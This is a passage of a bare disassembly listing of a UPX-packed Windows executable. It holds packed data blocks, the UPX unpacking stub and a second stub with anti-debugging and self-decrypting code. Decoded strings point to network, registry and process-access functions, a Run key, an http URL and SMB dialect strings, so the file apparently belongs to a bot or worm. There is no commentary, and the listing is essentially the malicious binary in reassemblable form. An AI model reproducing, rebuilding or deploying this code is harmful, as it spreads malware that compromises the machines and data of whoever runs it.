		dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h
		dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h
		dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h,	415C0376h
		dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch
		dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh
		dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h
		dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h
		dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h
		dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh
		dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h
		dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh
		dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h
		dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh
		dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h
		dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h
		dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h
		dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h
		dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h
		dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh
		dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h
		dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh
		dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h,	0B02B39DFh
		dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh
		dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h,	838506Ah
		dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh
		dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh
		dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh
		dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h
		dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh,	968160C8h
		dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h
		dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh
		dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh
		dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h,	25270055h
		dd 5ACE5903h, 40C520Ah,	9262CF20h, 28AF5D0Ch, 89E2B701h
		dd 21DE53C3h, 948E694Eh
		dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h,	281D146Ch
		dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h,	0CF203BD0h
		dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh,	4804C1FEh
		dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h
		dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch,	0D91B1C8h
		dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h
		dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h
		dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h
		dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h
		dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h,	8BB38163h
		dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h
		dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h,	0E26EE66h
		dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h
		dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h
		dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h
		dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh
		dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh
		dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h
		dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h
		dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah,	0B6413BBBh
		dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h
		dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h
		dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh
		dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh
		dd 1B1FDBEh, 2BEC7317h,	0CC48BC8h, 88BE18Bh, 0B5B236EAh
		dd 4353A302h, 45055C64h, 58363605h, 0A2000049h,	0F1022C02h
		dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh,	0F501018Fh
		dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh
		dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh,	843994FFh
		dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh
		dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h
		dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h,	6E695709h
		dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh,	8EE434h
		dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh
		dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah
		dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h
		dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h
		dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh
		dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h
		dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh,	0BEF6FD47h
		dd 276266Dh, 76742E7Ah,	6F74111Bh, 856E2E70h, 178C2D80h
		dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h
		dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh
		dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h
		dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h,	0F6EDF862h
		dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h
		dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h,	4E4D4C4Bh
		dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h,	74746823h
		dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h
		dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h
		dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh
		dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h
		dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch
		dd 46302C06h, 7889934h,	0EBEDE247h, 0E8342FF7h,	7EDAE80Ah
		dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h
		dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh
		dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh,	0F931C96h
		dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h,	0F19DF3EDh
		dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h
		dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h
		dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h,	0ED6F6D9Fh
		dd 0C850B2h, 57DC1499h,	4E122555h, 0DFECC0A4h, 1291EDDEh
		dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh
		dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh
		dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah
		dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h
		dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h,	5F37F776h
		dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh
		dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh
		dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h,	0BEB78190h
		dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh,	0A95D914h
		dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah
		dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah,	0DB9BAB9Eh
		dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h
		dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh
		dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh,	0BB6F6EDBh
		dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h
		dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h
		dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h,	31204D41h
		dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh,	0B75BB696h
		dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h
		dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h
		dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h
		dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h
		dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h,	5EDEC874h
		dd 901306Ch, 3500398Ch,	0DCC06C23h, 72E1D96h, 32ABDA00h
		dd 889CF20h, 3B57DA20h,	9F4C9383h, 46F20003h, 0C1901E23h
		dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h,	48E088h
		dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh
		dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h
		dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h
		dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h
		dd 6DFF20F6h, 0FF1640h,	0E00DEDEh, 19F1600h, 9BF2602h
		dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h
		dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh,	5D6DCF54h
		dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h
		dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh,	0B10C3919h
		dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h
		dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h
		dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h
		dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh
		dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h
		dd 2FE409CFh, 230EFEFFh
		dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h,	0B801FFEEh
		dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h,	700118D8h
		dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh
		dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h
		dd 0C0A6DB20h, 7250CAh,	39014446h, 3C844FC9h, 123C6B32h
		dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h
		dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h,	0E4FF071Ch
		dd 44655300h, 67756265h, 0FA377669h, 67853518h,	6A6441A7h
		dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h,	0BF6D7075h
		dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h
		dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh
		dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h
		dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h,	284158DBh
		dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h,	48F46897h
		dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h,	9F4B010Ah
		dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah
		dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h,	8EA9EE2Fh
		dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh
		dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh
		dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h
		dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h
		dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h,	909A3233h
		dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h
		dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h
		dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h
		dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h,	7264736Eh
		dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h
		dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h
		dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh
		dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h
		dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h,	6D1B1358h
		dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h
		dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh
		dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 0EC01388Ch
		dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h,	978A5F87h
		dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh,	0A956372h
		dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h
		dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h
		dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h
		dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh
		dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h,	0D9B9E144h
		dd 8D225AC3h, 3A0B6972h, 0BFBDEC97h, 486573C8h,	0C646E61h
		dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h,	0A3449711h
		dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h,	6509530Fh
		dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h
		dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h,	4C0B111Dh
		dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h,	0D5CB080Bh
		dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h,	0E94D8AD8h
		dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h,	78455A62h
		dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h,	87B591Bh
		dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h,	0D160C3FCh
		dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h
		dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h
		dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h,	1AC13F86h
		dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h
		dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh,	6F112C79h
		dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h
		dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh
		dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh
		dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h
		dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h
		dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h,	4166B105h
		dd 9C62834Fh, 424F466h,	0DB616C5Ah, 9B558543h, 370E1141h
		dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h
		dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh
		dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h,	455036AAh
		dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h
		dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh,	0B7334A02h
		dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh
		dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h
		dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h
		dd 48C016h, 81434BE0h, 54C32Fh,	2 dup(0)
		db 90h
		db 0FFh, 2 dup(0)
		align 10h
		pusha
		mov	esi, offset dword_31426000
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_31427BD2
; ---------------------------------------------------------------------------
		align 8


loc_31427BC8:				; CODE XREF: UPX1:loc_31427BD9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_31427BCE:				; CODE XREF: UPX1:31427C66j
					; UPX1:31427C7Dj
		add	ebx, ebx
		jnz	short loc_31427BD9


loc_31427BD2:				; CODE XREF: UPX1:31427BC0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BD9:				; CODE XREF: UPX1:31427BD0j
		jb	short loc_31427BC8
		mov	eax, 1


loc_31427BE0:				; CODE XREF: UPX1:31427BEFj
					; UPX1:31427BFAj
		add	ebx, ebx
		jnz	short loc_31427BEB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427BEB:				; CODE XREF: UPX1:31427BE2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_31427BE0
		jnz	short loc_31427BFC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427BE0


loc_31427BFC:				; CODE XREF: UPX1:31427BF1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_31427C10
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_31427C82
		mov	ebp, eax


loc_31427C10:				; CODE XREF: UPX1:31427C01j
		add	ebx, ebx
		jnz	short loc_31427C1B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C1B:				; CODE XREF: UPX1:31427C12j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_31427C28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C28:				; CODE XREF: UPX1:31427C1Fj
		adc	ecx, ecx
		jnz	short loc_31427C4C
		inc	ecx


loc_31427C2D:				; CODE XREF: UPX1:31427C3Cj
					; UPX1:31427C47j
		add	ebx, ebx
		jnz	short loc_31427C38
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31427C38:				; CODE XREF: UPX1:31427C2Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_31427C2D
		jnz	short loc_31427C49
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31427C2D


loc_31427C49:				; CODE XREF: UPX1:31427C3Ej
		add	ecx, 2


loc_31427C4C:				; CODE XREF: UPX1:31427C2Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_31427C6C


loc_31427C5D:				; CODE XREF: UPX1:31427C64j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_31427C5D
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------
		align 4


loc_31427C6C:				; CODE XREF: UPX1:31427C5Bj
					; UPX1:31427C79j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_31427C6C
		add	edi, ecx
		jmp	loc_31427BCE
; ---------------------------------------------------------------------------


loc_31427C82:				; CODE XREF: UPX1:31427C0Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 7Eh


loc_31427C8A:				; CODE XREF: UPX1:31427C91j
					; UPX1:31427C96j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_31427C8F:				; CODE XREF: UPX1:31427CB4j
		cmp	al, 1
		ja	short loc_31427C8A
		cmp	byte ptr [edi],	1
		jnz	short loc_31427C8A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_31427C8F
		lea	edi, [esi+5000h]


loc_31427CBC:				; CODE XREF: UPX1:31427CDEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_31427D07
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+7000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+708Ch]
		xchg	eax, ebp


loc_31427CD9:				; CODE XREF: UPX1:31427CFFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_31427CBC
		mov	ecx, edi
		jns	short near ptr loc_31427CEA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_31427CEA:				; CODE XREF: UPX1:31427CE2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+7090h]
		or	eax, eax
		jz	short loc_31427D01
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_31427CD9
; ---------------------------------------------------------------------------


loc_31427D01:				; CODE XREF: UPX1:31427CF8j
		call	dword ptr [esi+7094h]


loc_31427D07:				; CODE XREF: UPX1:31427CC0j
		popa
		jmp	loc_31422334
; ---------------------------------------------------------------------------
		align 400h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 0001F000 ( 126976.)
; Section size in file		: 0001F000 ( 126976.)
; Offset to raw	data for section: 00008000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31428000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 80C4h, 808Ch, 3 dup(0)
		dd 80D1h, 809Ch, 3 dup(0)
		dd 80DEh, 80A4h, 3 dup(0)
		dd 80E9h, 80ACh, 3 dup(0)
		dd 80F4h, 80B4h, 3 dup(0)
		dd 8100h, 80BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C371D3h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
		dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h
		dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h
		dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h
		dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh
		dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h,	64C02BC3h
		dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h
		dd 1E00h
		db 78h

; =============== S U B	R O U T	I N E =======================================



sub_31428289	proc near		; CODE XREF: UPX2:314282C9p
		pusha
		push	ebp
		mov	ebp, esp
		call	loc_314282A5
		call	sub_31428319
		mov	ebp, fs:0
		sub	ebp, 0FFFFFFF8h
		jmp	near ptr loc_314282CE+1
sub_31428289	endp

; ---------------------------------------------------------------------------


loc_314282A5:				; CODE XREF: sub_31428289+4p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	eax, eax
		push	eax
		push	eax
		push	80000000h
		push	eax
		push	eax
		push	eax
		push	eax
		push	80000000h
		push	eax
		push	2000h
		call	sub_31428289


loc_314282CE:				; CODE XREF: sub_31428289+17j
		xor	[ecx], ebp
		sar	dh, 0C8h	; CODE XREF: UPX2:314282D7j
		or	al, al
		jz	short loc_314282DB
		jnz	short near ptr loc_314282D0+1
		jmp	short loc_31428342
; ---------------------------------------------------------------------------


loc_314282DB:				; CODE XREF: UPX2:314282D5j
		call	$+5
		pop	edx
		add	edx, 46h
		mov	ebx, 243Ch
		mov	ecx, 78h
		push	edx


loc_314282F2:				; CODE XREF: UPX2:31428302j
		mov	al, [edx]
		sub	ax, cx
		xchg	al, [edx]
		add	edx, 1
		inc	ecx
		sub	ebx, 1
		or	ebx, ebx
		jnz	short loc_314282F2
		pop	edx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		mov	[esp+14h], edx
		popa
		jmp	edx

; =============== S U B	R O U T	I N E =======================================



sub_31428319	proc near		; CODE XREF: sub_31428289+9p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_31428319	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 6108h
		dd 7D7C7B7Ah, 78A48309h, 85A8AE02h, 89888786h, 3924140Ah
		dd 1C908FB7h
		db 0EEh, 0B7h
; ---------------------------------------------------------------------------


loc_31428342:				; CODE XREF: UPX2:314282D9j
		cwde
		or	ebx, eax
		xchg	eax, ebx
		icebp
		and	cl, [edx+4Bh]
		lds	ebx, [ebp+5558289Eh]
		retf
; ---------------------------------------------------------------------------
		db 0A3h, 0A4h, 25h
		dd 0A9CCD65Eh, 0BA2193AAh, 0D5E047B1h, 103FB3B2h, 0A4EBB6B8h
		dd 0EE5446C2h, 0C0C0BFE2h, 5A191EF5h, 0CDEC3347h, 0CDCCCBCFh
		dd 0C1D0B24Fh, 0C255D2D1h, 0D918E7DCh, 0E1005765h, 151C946Bh
		dd 0E59DE322h, 0DCE8E7E6h, 3B676C8Eh, 64595742h, 387F0067h
		dd 11FC8432h, 4D347C60h, 82087343h, 50503EDh, 94EA7C06h
		dd 0E00F835Ah, 9C308199h, 8172B5Ch, 0DC1BC467h,	1D1B939Bh
		dd 96948465h, 289CA43Dh, 8C979976h, 0A5AD3D9Fh,	95947035h
